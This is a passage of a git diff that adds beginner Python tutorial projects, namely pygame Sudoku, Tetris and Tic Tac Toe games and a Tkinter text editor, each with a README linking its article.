# Insert CSV content if it possible + if CsvContent != '': + try: + var.set(CsvContent[y][xcoor]) + except: + pass + +# Start the updating Process +updateAllCells() + +# Run the Mainloop +root.mainloop() diff --git a/gui-programming/sudoku-game/README.md b/gui-programming/sudoku-game/README.md new file mode 100644 index 00000000..00cb1d63 --- /dev/null +++ b/gui-programming/sudoku-game/README.md @@ -0,0 +1 @@ +# [How to Build a Sudoku Game with Python](https://thepythoncode.com/article/make-a-sudoku-game-in-python) \ No newline at end of file diff --git a/gui-programming/sudoku-game/cell.py b/gui-programming/sudoku-game/cell.py new file mode 100644 index 00000000..d529ec0b --- /dev/null +++ b/gui-programming/sudoku-game/cell.py @@ -0,0 +1,46 @@ +import pygame +from settings import convert_list + +pygame.font.init() + +class Cell: + def __init__(self, row, col, cell_size, value, is_correct_guess = None): + self.row = row + self.col = col + self.cell_size = cell_size + self.width = self.cell_size[0] + self.height = self.cell_size[1] + self.abs_x = row * self.width + self.abs_y = col * self.height + + self.value = value + self.is_correct_guess = is_correct_guess + self.guesses = None if self.value != 0 else [0 for x in range(9)] + + self.color = pygame.Color("white") + self.font = pygame.font.SysFont('monospace', self.cell_size[0]) + self.g_font = pygame.font.SysFont('monospace', (cell_size[0] // 3)) + + self.rect = pygame.Rect(self.abs_x,self.abs_y,self.width,self.height) + + + def update(self, screen, SRN = None): + pygame.draw.rect(screen, self.color, self.rect) + + if self.value != 0: + font_color = pygame.Color("black") if self.is_correct_guess else pygame.Color("red") + num_val = self.font.render(str(self.value), True, font_color) + screen.blit(num_val, (self.abs_x, self.abs_y)) + + elif self.value == 0 and self.guesses != None: + cv_list = convert_list(self.guesses, [SRN, SRN, SRN]) + for y in range(SRN): + for x in range(SRN): + num_txt = " " + if cv_list[y][x] != 0: + num_txt = cv_list[y][x] + num_txt = self.g_font.render(str(num_txt), True, pygame.Color("orange")) + abs_x = (self.abs_x + ((self.width // SRN) * x)) + abs_y = (self.abs_y + ((self.height // SRN) * y)) + abs_pos = (abs_x, abs_y) + screen.blit(num_txt, abs_pos) \ No newline at end of file diff --git a/gui-programming/sudoku-game/clock.py b/gui-programming/sudoku-game/clock.py new file mode 100644 index 00000000..dcad3950 --- /dev/null +++ b/gui-programming/sudoku-game/clock.py @@ -0,0 +1,31 @@ +import pygame, time +from settings import CELL_SIZE + +pygame.font.init() + +class Clock: + def __init__(self): + self.start_time = None + self.elapsed_time = 0 + self.font = pygame.font.SysFont("monospace", CELL_SIZE[0]) + self.message_color = pygame.Color("black") + + # Start the timer + def start_timer(self): + self.start_time = time.time() + + # Update the timer + def update_timer(self): + if self.start_time is not None: + self.elapsed_time = time.time() - self.start_time + + # Display the timer + def display_timer(self): + secs = int(self.elapsed_time % 60) + mins = int(self.elapsed_time / 60) + my_time = self.font.render(f"{mins:02}:{secs:02}", True, self.message_color) + return my_time + + # Stop the timer + def stop_timer(self): + self.start_time = None \ No newline at end of file diff --git a/gui-programming/sudoku-game/main.py b/gui-programming/sudoku-game/main.py new file mode 100644 index 00000000..bb0ab5b5 --- /dev/null +++ b/gui-programming/sudoku-game/main.py @@ -0,0 +1,53 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, CELL_SIZE +from table import Table + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + (CELL_SIZE[1] * 3))) +pygame.display.set_caption("Sudoku") + +pygame.font.init() + +class Main: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + self.lives_font = pygame.font.SysFont("monospace", CELL_SIZE[0] // 2) + self.message_font = pygame.font.SysFont('Bauhaus 93', (CELL_SIZE[0])) + self.color = pygame.Color("darkgreen") + + def main(self): + table = Table(self.screen) + + while True: + self.screen.fill("gray") + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + if event.type == pygame.MOUSEBUTTONDOWN: + if not table.game_over: + table.handle_mouse_click(event.pos) + + # lower screen display + if not table.game_over: + my_lives = self.lives_font.render(f"Lives Left: {table.lives}", True, pygame.Color("black")) + self.screen.blit(my_lives, ((WIDTH // table.SRN) - (CELL_SIZE[0] // 2), HEIGHT + (CELL_SIZE[1] * 2.2))) + + else: + if table.lives <= 0: + message = self.message_font.render("GAME OVER!!", True, pygame.Color("red")) + self.screen.blit(message, (CELL_SIZE[0] + (CELL_SIZE[0] // 2), HEIGHT + (CELL_SIZE[1] * 2))) + elif table.lives > 0: + message = self.message_font.render("You Made It!!!", True, self.color) + self.screen.blit(message, (CELL_SIZE[0] , HEIGHT + (CELL_SIZE[1] * 2))) + + table.update() + pygame.display.flip() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Main(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/sudoku-game/requirements.txt b/gui-programming/sudoku-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/sudoku-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/sudoku-game/settings.py b/gui-programming/sudoku-game/settings.py new file mode 100644 index 00000000..d847156e --- /dev/null +++ b/gui-programming/sudoku-game/settings.py @@ -0,0 +1,13 @@ +from itertools import islice + + +WIDTH, HEIGHT = 450, 450 + +N_CELLS = 9 + +CELL_SIZE = (WIDTH // N_CELLS, HEIGHT // N_CELLS) + +# Convert 1D list to 2D list +def convert_list(lst, var_lst): + it = iter(lst) + return [list(islice(it, i)) for i in var_lst] diff --git a/gui-programming/sudoku-game/sudoku.py b/gui-programming/sudoku-game/sudoku.py new file mode 100644 index 00000000..bda93b9a --- /dev/null +++ b/gui-programming/sudoku-game/sudoku.py @@ -0,0 +1,132 @@ +import random +import math +import copy + +class Sudoku: + def __init__(self, N, E): + self.N = N + self.E = E + + # compute square root of N + self.SRN = int(math.sqrt(N)) + self.table = [[0 for x in range(N)] for y in range(N)] + self.answerable_table = None + + self._generate_table() + + def _generate_table(self): + # fill the subgroups diagonally table/matrices + self.fill_diagonal() + + # fill remaining empty subgroups + self.fill_remaining(0, self.SRN) + + # Remove random Key digits to make game + self.remove_digits() + + def fill_diagonal(self): + for x in range(0, self.N, self.SRN): + self.fill_cell(x, x) + + def not_in_subgroup(self, rowstart, colstart, num): + for x in range(self.SRN): + for y in range(self.SRN): + if self.table[rowstart + x][colstart + y] == num: + return False + return True + + def fill_cell(self, row, col): + num = 0 + for x in range(self.SRN): + for y in range(self.SRN): + while True: + num = self.random_generator(self.N) + if self.not_in_subgroup(row, col, num): + break + self.table[row + x][col + y] = num + + def random_generator(self, num): + return math.floor(random.random() * num + 1) + + def safe_position(self, row, col, num): + return (self.not_in_row(row, num) and self.not_in_col(col, num) and self.not_in_subgroup(row - row % self.SRN, col - col % self.SRN, num)) + + def not_in_row(self, row, num): + for col in range(self.N): + if self.table[row][col] == num: + return False + return True + + def not_in_col(self, col, num): + for row in range(self.N): + if self.table[row][col] == num: + return False + return True + + + def fill_remaining(self, row, col): + # check if we have reached the end of the matrix + if row == self.N - 1 and col == self.N: + return True + + # move to the next row if we have reached the end of the current row + if col == self.N: + row += 1 + col = 0 + + # skip cells that are already filled + if self.table[row][col] != 0: + return self.fill_remaining(row, col + 1) + + # try filling the current cell with a valid value + for num in range(1, self.N + 1): + if self.safe_position(row, col, num): + self.table[row][col] = num + if self.fill_remaining(row, col + 1): + return True + self.table[row][col] = 0 + + # no valid value was found, so backtrack + return False + + def remove_digits(self): + count = self.E + + # replicates the table so we can have a filled and pre-filled copy + self.answerable_table = copy.deepcopy(self.table) + + # removing random numbers to create the puzzle sheet + while (count != 0): + row = self.random_generator(self.N) - 1 + col = self.random_generator(self.N) - 1 + if (self.answerable_table[row][col] != 0): + count -= 1 + self.answerable_table[row][col] = 0 + + + def puzzle_table(self): + return self.answerable_table + + def puzzle_answers(self): + return self.table + + + def printSudoku(self): + for row in range(self.N): + for col in range(self.N): + print(self.table[row][col], end=" ") + print() + + print("") + + for row in range(self.N): + for col in range(self.N): + print(self.answerable_table[row][col], end=" ") + print() + + +if __name__ == "__main__": + N = 9 + E = (N * N) // 2 + sudoku = Sudoku(N, E) + sudoku.printSudoku() diff --git a/gui-programming/sudoku-game/table.py b/gui-programming/sudoku-game/table.py new file mode 100644 index 00000000..f077ba99 --- /dev/null +++ b/gui-programming/sudoku-game/table.py @@ -0,0 +1,220 @@ +import pygame +import math +from cell import Cell +from sudoku import Sudoku +from clock import Clock + +from settings import WIDTH, HEIGHT, N_CELLS, CELL_SIZE + +pygame.font.init() + +class Table: + def __init__(self, screen): + self.screen = screen + + self.puzzle = Sudoku(N_CELLS, (N_CELLS * N_CELLS) // 2) + self.clock = Clock() + + self.answers = self.puzzle.puzzle_answers() + self.answerable_table = self.puzzle.puzzle_table() + self.SRN = self.puzzle.SRN + + self.table_cells = [] + self.num_choices = [] + self.clicked_cell = None + self.clicked_num_below = None + self.cell_to_empty = None + self.making_move = False + self.guess_mode = True + + self.lives = 3 + self.game_over = False + + self.delete_button = pygame.Rect(0, (HEIGHT + CELL_SIZE[1]), (CELL_SIZE[0] * 3), (CELL_SIZE[1])) + self.guess_button = pygame.Rect((CELL_SIZE[0] * 6), (HEIGHT + CELL_SIZE[1]), (CELL_SIZE[0] * 3), (CELL_SIZE[1])) + self.font = pygame.font.SysFont('Bauhaus 93', (CELL_SIZE[0] // 2)) + self.font_color = pygame.Color("white") + + self._generate_game() + self.clock.start_timer() + + + def _generate_game(self): + # generating sudoku table + for y in range(N_CELLS): + for x in range(N_CELLS): + cell_value = self.answerable_table[y][x] + is_correct_guess = True if cell_value != 0 else False + self.table_cells.append(Cell(x, y, CELL_SIZE, cell_value, is_correct_guess)) + + # generating number choices + for x in range(N_CELLS): + self.num_choices.append(Cell(x, N_CELLS, CELL_SIZE, x + 1)) + + + def _draw_grid(self): + grid_color = (50, 80, 80) + pygame.draw.rect(self.screen, grid_color, (-3, -3, WIDTH + 6, HEIGHT + 6), 6) + + i = 1 + while (i * CELL_SIZE[0]) < WIDTH: + line_size = 2 if i % 3 > 0 else 4 + pygame.draw.line(self.screen, grid_color, ((i * CELL_SIZE[0]) - (line_size // 2), 0), ((i * CELL_SIZE[0]) - (line_size // 2), HEIGHT), line_size) + pygame.draw.line(self.screen, grid_color, (0, (i * CELL_SIZE[0]) - (line_size // 2)), (HEIGHT, (i * CELL_SIZE[0]) - (line_size // 2)), line_size) + i += 1 + + + def _draw_buttons(self): + # adding delete button details + dl_button_color = pygame.Color("red") + pygame.draw.rect(self.screen, dl_button_color, self.delete_button) + del_msg = self.font.render("Delete", True, self.font_color) + self.screen.blit(del_msg, (self.delete_button.x + (CELL_SIZE[0] // 2), self.delete_button.y + (CELL_SIZE[1] // 4))) + # adding guess button details + gss_button_color = pygame.Color("blue") if self.guess_mode else pygame.Color("purple") + pygame.draw.rect(self.screen, gss_button_color, self.guess_button) + gss_msg = self.font.render("Guess: On" if self.guess_mode else "Guess: Off", True, self.font_color) + self.screen.blit(gss_msg, (self.guess_button.x + (CELL_SIZE[0] // 3), self.guess_button.y + (CELL_SIZE[1] // 4))) + + + def _get_cell_from_pos(self, pos): + for cell in self.table_cells: + if (cell.row, cell.col) == (pos[0], pos[1]): + return cell + + + # checking rows, cols, and subgroups for adding guesses on each cell + def _not_in_row(self, row, num): + for cell in self.table_cells: + if cell.row == row: + if cell.value == num: + return False + return True + + def _not_in_col(self, col, num): + for cell in self.table_cells: + if cell.col == col: + if cell.value == num: + return False + return True + + def _not_in_subgroup(self, rowstart, colstart, num): + for x in range(self.SRN): + for y in range(self.SRN): + current_cell = self._get_cell_from_pos((rowstart + x, colstart + y)) + if current_cell.value == num: + return False + return True + + + # remove numbers in guess if number already guessed in the same row, col, subgroup correctly + def _remove_guessed_num(self, row, col, rowstart, colstart, num): + for cell in self.table_cells: + if cell.row == row and cell.guesses != None: + for x_idx,guess_row_val in enumerate(cell.guesses): + if guess_row_val == num: + cell.guesses[x_idx] = 0 + if cell.col == col and cell.guesses != None: + for y_idx,guess_col_val in enumerate(cell.guesses): + if guess_col_val == num: + cell.guesses[y_idx] = 0 + + for x in range(self.SRN): + for y in range(self.SRN): + current_cell = self._get_cell_from_pos((rowstart + x, colstart + y)) + if current_cell.guesses != None: + for idx,guess_val in enumerate(current_cell.guesses): + if guess_val == num: + current_cell.guesses[idx] = 0 + + + def handle_mouse_click(self, pos): + x, y = pos[0], pos[1] + + # getting table cell clicked + if x <= WIDTH and y <= HEIGHT: + x = x // CELL_SIZE[0] + y = y // CELL_SIZE[1] + clicked_cell = self._get_cell_from_pos((x, y)) + + # if clicked empty cell + if clicked_cell.value == 0: + self.clicked_cell = clicked_cell + self.making_move = True + + # clicked unempty cell but with wrong number guess + elif clicked_cell.value != 0 and clicked_cell.value != self.answers[y][x]: + self.cell_to_empty = clicked_cell + + # getting number selected + elif x <= WIDTH and y >= HEIGHT and y <= (HEIGHT + CELL_SIZE[1]): + x = x // CELL_SIZE[0] + self.clicked_num_below = self.num_choices[x].value + + # deleting numbers + elif x <= (CELL_SIZE[0] * 3) and y >= (HEIGHT + CELL_SIZE[1]) and y <= (HEIGHT + CELL_SIZE[1] * 2): + if self.cell_to_empty: + self.cell_to_empty.value = 0 + self.cell_to_empty = None + + # selecting modes + elif x >= (CELL_SIZE[0] * 6) and y >= (HEIGHT + CELL_SIZE[1]) and y <= (HEIGHT + CELL_SIZE[1] * 2): + self.guess_mode = True if not self.guess_mode else False + + # if making a move + if self.clicked_num_below and self.clicked_cell != None and self.clicked_cell.value == 0: + current_row = self.clicked_cell.row + current_col = self.clicked_cell.col + rowstart = self.clicked_cell.row - self.clicked_cell.row % self.SRN + colstart = self.clicked_cell.col - self.clicked_cell.col % self.SRN + + if self.guess_mode: + # checking the vertical group, the horizontal group, and the subgroup + if self._not_in_row(current_row, self.clicked_num_below) and self._not_in_col(current_col, self.clicked_num_below): + if self._not_in_subgroup(rowstart, colstart, self.clicked_num_below): + if self.clicked_cell.guesses != None: + self.clicked_cell.guesses[self.clicked_num_below - 1] = self.clicked_num_below + else: + self.clicked_cell.value = self.clicked_num_below + # if the player guess correctly + if self.clicked_num_below == self.answers[self.clicked_cell.col][self.clicked_cell.row]: + self.clicked_cell.is_correct_guess = True + self.clicked_cell.guesses = None + self._remove_guessed_num(current_row, current_col, rowstart, colstart, self.clicked_num_below) + # if guess is wrong + else: + self.clicked_cell.is_correct_guess = False + self.clicked_cell.guesses = [0 for x in range(9)] + self.lives -= 1 + self.clicked_num_below = None + self.making_move = False + else: + self.clicked_num_below = None + + + def _puzzle_solved(self): + check = None + for cell in self.table_cells: + if cell.value == self.answers[cell.col][cell.row]: + check = True + else: + check = False + break + return check + + + def update(self): + [cell.update(self.screen, self.SRN) for cell in self.table_cells] + + [num.update(self.screen) for num in self.num_choices] + + self._draw_grid() + self._draw_buttons() + + if self._puzzle_solved() or self.lives == 0: + self.clock.stop_timer() + self.game_over = True + else: + self.clock.update_timer() + + self.screen.blit(self.clock.display_timer(), (WIDTH // self.SRN,HEIGHT + CELL_SIZE[1])) \ No newline at end of file diff --git a/gui-programming/tetris-game/README.md b/gui-programming/tetris-game/README.md new file mode 100644 index 00000000..285ab6c4 --- /dev/null +++ b/gui-programming/tetris-game/README.md @@ -0,0 +1 @@ +# [How to Make a Tetris Game using PyGame in Python](https://www.thepythoncode.com/article/create-a-tetris-game-with-pygame-in-python) diff --git a/gui-programming/tetris-game/requirements.txt b/gui-programming/tetris-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/tetris-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/tetris-game/tetris.py b/gui-programming/tetris-game/tetris.py new file mode 100644 index 00000000..45f3224e --- /dev/null +++ b/gui-programming/tetris-game/tetris.py @@ -0,0 +1,266 @@ +import sys +import pygame +import random + +pygame.init() + +# Screen dimensions +WIDTH, HEIGHT = 800, 600 +GRID_SIZE = 25 + +# Colors +WHITE = (255, 255, 255) +BLACK = (0, 0, 0) +RED = (255, 0, 0) +BLUE = (0, 0, 255) +GREEN = (0, 255, 0) +COLORS = [RED, BLUE, GREEN] + +# Tetromino shapes +SHAPES = [ + [ + ['.....', + '.....', + '.....', + 'OOOO.', + '.....'], + ['.....', + '..O..', + '..O..', + '..O..', + '..O..'] + ], + [ + ['.....', + '.....', + '..O..', + '.OOO.', + '.....'], + ['.....', + '..O..', + '.OO..', + '..O..', + '.....'], + ['.....', + '.....', + '.OOO.', + '..O..', + '.....'], + ['.....', + '..O..', + '..OO.', + '..O..', + '.....'] + ], + [ + [ + '.....', + '.....', + '..OO.', + '.OO..', + '.....'], + ['.....', + '.....', + '.OO..', + '..OO.', + '.....'], + ['.....', + '.O...', + '.OO..', + '..O..', + '.....'], + ['.....', + '..O..', + '.OO..', + '.O...', + '.....'] + ], + [ + ['.....', + '..O..', + '..O.', + '..OO.', + '.....'], + ['.....', + '...O.', + '.OOO.', + '.....', + '.....'], + ['.....', + '.OO..', + '..O..', + '..O..', + '.....'], + ['.....', + '.....', + '.OOO.', + '.O...', + '.....'] + ], +] + + +class Tetromino: + def __init__(self, x, y, shape): + self.x = x + self.y = y + self.shape = shape + self.color = random.choice(COLORS) # You can choose different colors for each shape + self.rotation = 0 + + +class Tetris: + def __init__(self, width, height): + self.width = width + self.height = height + self.grid = [[0 for _ in range(width)] for _ in range(height)] + self.current_piece = self.new_piece() + self.game_over = False + self.score = 0 # Add score attribute + + def new_piece(self): + # Choose a random shape + shape = random.choice(SHAPES) + # Return a new Tetromino object + return Tetromino(self.width // 2, 0, shape) + + def valid_move(self, piece, x, y, rotation): + """Check if the piece can move to the given position""" + for i, row in enumerate(piece.shape[(piece.rotation + rotation) % len(piece.shape)]): + for j, cell in enumerate(row): + try: + if cell == 'O' and (self.grid[piece.y + i + y][piece.x + j + x] != 0): + return False + except IndexError: + return False + return True + + def clear_lines(self): + """Clear the lines that are full and return the number of cleared lines""" + lines_cleared = 0 + for i, row in enumerate(self.grid[:-1]): + if all(cell != 0 for cell in row): + lines_cleared += 1 + del self.grid[i] + self.grid.insert(0, [0 for _ in range(self.width)]) + return lines_cleared + + def lock_piece(self, piece): + """Lock the piece in place and create a new piece""" + for i, row in enumerate(piece.shape[piece.rotation % len(piece.shape)]): + for j, cell in enumerate(row): + if cell == 'O': + self.grid[piece.y + i][piece.x + j] = piece.color + # Clear the lines and update the score + lines_cleared = self.clear_lines() + self.score += lines_cleared * 100 # Update the score based on the number of cleared lines + # Create a new piece + self.current_piece = self.new_piece() + # Check if the game is over + if not self.valid_move(self.current_piece, 0, 0, 0): + self.game_over = True + return lines_cleared + + def update(self): + """Move the tetromino down one cell""" + if not self.game_over: + if self.valid_move(self.current_piece, 0, 1, 0): + self.current_piece.y += 1 + else: + self.lock_piece(self.current_piece) + + def draw(self, screen): + """Draw the grid and the current piece""" + for y, row in enumerate(self.grid): + for x, cell in enumerate(row): + if cell: + pygame.draw.rect(screen, cell, (x * GRID_SIZE, y * GRID_SIZE, GRID_SIZE - 1, GRID_SIZE - 1)) + + if self.current_piece: + for i, row in enumerate(self.current_piece.shape[self.current_piece.rotation % len(self.current_piece.shape)]): + for j, cell in enumerate(row): + if cell == 'O': + pygame.draw.rect(screen, self.current_piece.color, ((self.current_piece.x + j) * GRID_SIZE, (self.current_piece.y + i) * GRID_SIZE, GRID_SIZE - 1, GRID_SIZE - 1)) + + +def draw_score(screen, score, x, y): + """Draw the score on the screen""" + font = pygame.font.Font(None, 36) + text = font.render(f"Score: {score}", True, WHITE) + screen.blit(text, (x, y)) + + +def draw_game_over(screen, x, y): + """Draw the game over text on the screen""" + font = pygame.font.Font(None, 48) + text = font.render("Game Over", True, RED) + screen.blit(text, (x, y)) + + +def main(): + # Initialize pygame + screen = pygame.display.set_mode((WIDTH, HEIGHT)) + pygame.display.set_caption('Tetris') + # Create a clock object + clock = pygame.time.Clock() + # Create a Tetris object + game = Tetris(WIDTH // GRID_SIZE, HEIGHT // GRID_SIZE) + fall_time = 0 + fall_speed = 50 # You can adjust this value to change the falling speed, it's in milliseconds + while True: + # Fill the screen with black + screen.fill(BLACK) + for event in pygame.event.get(): + # Check for the QUIT event + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + # Check for the KEYDOWN event + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_LEFT: + if game.valid_move(game.current_piece, -1, 0, 0): + game.current_piece.x -= 1 # Move the piece to the left + if event.key == pygame.K_RIGHT: + if game.valid_move(game.current_piece, 1, 0, 0): + game.current_piece.x += 1 # Move the piece to the right + if event.key == pygame.K_DOWN: + if game.valid_move(game.current_piece, 0, 1, 0): + game.current_piece.y += 1 # Move the piece down + if event.key == pygame.K_UP: + if game.valid_move(game.current_piece, 0, 0, 1): + game.current_piece.rotation += 1 # Rotate the piece + if event.key == pygame.K_SPACE: + while game.valid_move(game.current_piece, 0, 1, 0): + game.current_piece.y += 1 # Move the piece down until it hits the bottom + game.lock_piece(game.current_piece) # Lock the piece in place + # Get the number of milliseconds since the last frame + delta_time = clock.get_rawtime() + # Add the delta time to the fall time + fall_time += delta_time + if fall_time >= fall_speed: + # Move the piece down + game.update() + # Reset the fall time + fall_time = 0 + # Draw the score on the screen + draw_score(screen, game.score, 10, 10) + # Draw the grid and the current piece + game.draw(screen) + if game.game_over: + # Draw the "Game Over" message + draw_game_over(screen, WIDTH // 2 - 100, HEIGHT // 2 - 30) # Draw the "Game Over" message + # You can add a "Press any key to restart" message here + # Check for the KEYDOWN event + if event.type == pygame.KEYDOWN: + # Create a new Tetris object + game = Tetris(WIDTH // GRID_SIZE, HEIGHT // GRID_SIZE) + # Update the display + pygame.display.flip() + # Set the framerate + clock.tick(60) + + +if __name__ == "__main__": + main() + + diff --git a/gui-programming/text-editor/README.md b/gui-programming/text-editor/README.md new file mode 100644 index 00000000..105bdd1a --- /dev/null +++ b/gui-programming/text-editor/README.md @@ -0,0 +1 @@ +# [How to Make a Text Editor using Tkinter in Python](https://www.thepythoncode.com/article/text-editor-using-tkinter-python) \ No newline at end of file diff --git a/gui-programming/text-editor/text_editor.py b/gui-programming/text-editor/text_editor.py new file mode 100644 index 00000000..8df97bfb --- /dev/null +++ b/gui-programming/text-editor/text_editor.py @@ -0,0 +1,107 @@ +# Import +from tkinter import * +from tkinter import scrolledtext +from tkinter import filedialog +import ctypes +import sys + +# Increas Dots Per inch so it looks sharper +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +# Setup Variables + +appName = 'Simple Text Editor' +nofileOpenedString = 'New File' + +currentFilePath = nofileOpenedString + +# Viable File Types, when opening and saving files. +fileTypes = [("Text Files","*.txt"), ("Markdown","*.md")] + +# Tkinter Setup +window = Tk() + +# Set the first column to occupy 100% of the width +window.grid_columnconfigure(0, weight=1) + +window.title(appName + " - " + currentFilePath) + +# Window Dimensions in Pixel +window.geometry('500x400') + +# Handler Functions +def fileDropDownHandeler(action): + global currentFilePath + + # Opening a File + if action == "open": + file = filedialog.askopenfilename(filetypes = fileTypes) + + window.title(appName + " - " + file) + + currentFilePath = file + + with open(file, 'r') as f: + txt.delete(1.0,END) + txt.insert(INSERT,f.read()) + + # Making a new File + elif action == "new": + currentFilePath = nofileOpenedString + txt.delete(1.0,END) + window.title(appName + " - " + currentFilePath) + + # Saving a file + elif action == "save" or action == "saveAs": + if currentFilePath == nofileOpenedString or action== 'saveAs': + currentFilePath = filedialog.asksaveasfilename(filetypes = fileTypes) + + with open(currentFilePath, 'w') as f: + f.write(txt.get('1.0','end')) + + window.title(appName + " - " + currentFilePath) + +def textchange(event): + window.title(appName + " - *" + currentFilePath) + +# Widgets + +# Text Area +txt = scrolledtext.ScrolledText(window, height=999) +txt.grid(row=1,sticky=N+S+E+W) + +# Bind event in the widget to a function +txt.bind('', textchange) + +# Menu +menu = Menu(window) + +# set tearoff to 0 +fileDropdown = Menu(menu, tearoff=False) + +# Add Commands and and their callbacks +fileDropdown.add_command(label='New', command=lambda: fileDropDownHandeler("new")) +fileDropdown.add_command(label='Open', command=lambda: fileDropDownHandeler("open")) + +# Adding a seperator between button types. +fileDropdown.add_separator() +fileDropdown.add_command(label='Save', command=lambda: fileDropDownHandeler("save")) +fileDropdown.add_command(label='Save as', command=lambda: fileDropDownHandeler("saveAs")) + +menu.add_cascade(label='File', menu=fileDropdown) + +# Set Menu to be Main Menu +window.config(menu=menu) + +# Enabling "open with" by looking if the second argument was passed. +if len(sys.argv) == 2: + currentFilePath = sys.argv[1] + + window.title(appName + " - " + currentFilePath) + + with open(currentFilePath, 'r') as f: + txt.delete(1.0,END) + txt.insert(INSERT,f.read()) + +# Main Loop +window.mainloop() diff --git a/gui-programming/tictactoe-game/README.md b/gui-programming/tictactoe-game/README.md new file mode 100644 index 00000000..8ae7c363 --- /dev/null +++ b/gui-programming/tictactoe-game/README.md @@ -0,0 +1 @@ +# [How to Build a Tic Tac Toe Game in Python](https://www.thepythoncode.com/article/make-a-tic-tac-toe-game-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/tictactoe-game/requirements.txt b/gui-programming/tictactoe-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/tictactoe-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/tictactoe-game/tictactoe.py b/gui-programming/tictactoe-game/tictactoe.py new file mode 100644 index 00000000..5c72a43b --- /dev/null +++ b/gui-programming/tictactoe-game/tictactoe.py @@ -0,0 +1,206 @@ +import pygame +from pygame.locals import * + +pygame.init() +pygame.font.init() + +window_size = (450, 500) + +screen = pygame.display.set_mode(window_size) +pygame.display.set_caption("Tic Tac Toe") + + +class TicTacToe(): + + def __init__(self, table_size): + self.table_size = table_size + self.cell_size = table_size // 3 + self.table_space = 20 + + self.player = "X" + self.winner = None + self.taking_move = True + self.running = True + self.table = [] + for col in range(3): + self.table.append([]) + for row in range(3): + self.table[col].append("-") + + self.background_color = (255, 174, 66) + self.table_color = (50, 50, 50) + self.line_color = (190, 0, 10) + self.instructions_color = (17, 53, 165) + self.game_over_bg_color = (47, 98, 162) + self.game_over_color = (255, 179, 1) + self.font = pygame.font.SysFont("Courier New", 35) + self.FPS = pygame.time.Clock() + + + # draws table representation + def _draw_table(self): + tb_space_point = (self.table_space, self.table_size - self.table_space) + cell_space_point = (self.cell_size, self.cell_size * 2) + r1 = pygame.draw.line(screen, self.table_color, [tb_space_point[0], cell_space_point[0]], [tb_space_point[1], cell_space_point[0]], 8) + c1 = pygame.draw.line(screen, self.table_color, [cell_space_point[0], tb_space_point[0]], [cell_space_point[0], tb_space_point[1]], 8) + r2 = pygame.draw.line(screen, self.table_color, [tb_space_point[0], cell_space_point[1]], [tb_space_point[1], cell_space_point[1]], 8) + c2 = pygame.draw.line(screen, self.table_color, [cell_space_point[1], tb_space_point[0]], [cell_space_point[1], tb_space_point[1]], 8) + + + def _change_player(self): + self.player = "O" if self.player == "X" else "X" + + + # processing clicks to move + def _move(self, pos): + try: + x, y = pos[0] // self.cell_size, pos[1] // self.cell_size + if self.table[x][y] == "-": + self.table[x][y] = self.player + self._draw_char(x,y,self.player) + self._game_check() + self._change_player() + except: + print("Click inside the table only") + + + # draws character of the recent player to the selected table cell + def _draw_char(self, x, y, player): + if self.player == "O": + img = pygame.image.load("images/Tc-O.png") + elif self.player == "X": + img = pygame.image.load("images/Tc-X.png") + img = pygame.transform.scale(img, (self.cell_size, self.cell_size)) + screen.blit(img, (x * self.cell_size, y * self.cell_size, self.cell_size, self.cell_size)) + + + # instructions and game-state messages + def _message(self): + if self.winner is not None: + screen.fill(self.game_over_bg_color, (130, 445, 193, 35)) + msg = self.font.render(f'{self.winner} WINS!!', True, self.game_over_color) + screen.blit(msg,(144,445)) + elif not self.taking_move: + screen.fill(self.game_over_bg_color, (130, 445, 193, 35)) + instructions = self.font.render('DRAW!!', True, self.game_over_color) + screen.blit(instructions,(165,445)) + else: + screen.fill(self.background_color, (135, 445, 188, 35)) + instructions = self.font.render(f'{self.player} to move', True, self.instructions_color) + screen.blit(instructions,(135,445)) + + + def _game_check(self): + # vertical check + for x_index, col in enumerate(self.table): + win = True + pattern_list = [] + for y_index, content in enumerate(col): + if content != self.player: + win = False + break + else: + pattern_list.append((x_index, y_index)) + if win == True: + self._pattern_strike(pattern_list[0],pattern_list[-1],"ver") + self.winner = self.player + self.taking_move = False + break + + # horizontal check + for row in range(len(self.table)): + win = True + pattern_list = [] + for col in range(len(self.table)): + if self.table[col][row] != self.player: + win = False + break + else: + pattern_list.append((col, row)) + if win == True: + self._pattern_strike(pattern_list[0],pattern_list[-1],"hor") + self.winner = self.player + self.taking_move = False + break + + # left diagonal check + for index, row in enumerate(self.table): + win = True + if row[index] != self.player: + win = False + break + if win == True: + self._pattern_strike((0,0),(2,2),"left-diag") + self.winner = self.player + self.taking_move = False + + # right diagonal check + for index, row in enumerate(self.table[::-1]): + win = True + if row[index] != self.player: + win = False + break + if win == True: + self._pattern_strike((2,0),(0,2),"right-diag") + self.winner = self.player + self.taking_move = False + + # blank table cells check + blank_cells = 0 + for row in self.table: + for cell in row: + if cell == "-": + blank_cells += 1 + if blank_cells == 0: + self.taking_move = False + + + # strikes a line to winning patterns if already has + def _pattern_strike(self, start_point, end_point, line_type): + # gets the middle value of the cell + mid_val = self.cell_size // 2 + + # for the vertical winning pattern + if line_type == "ver": + start_x, start_y = start_point[0] * self.cell_size + mid_val, self.table_space + end_x, end_y = end_point[0] * self.cell_size + mid_val, self.table_size - self.table_space + + # for the horizontal winning pattern + elif line_type == "hor": + start_x, start_y = self.table_space, start_point[-1] * self.cell_size + mid_val + end_x, end_y = self.table_size - self.table_space, end_point[-1] * self.cell_size + mid_val + + # for the diagonal winning pattern from top-left to bottom right + elif line_type == "left-diag": + start_x, start_y = self.table_space, self.table_space + end_x, 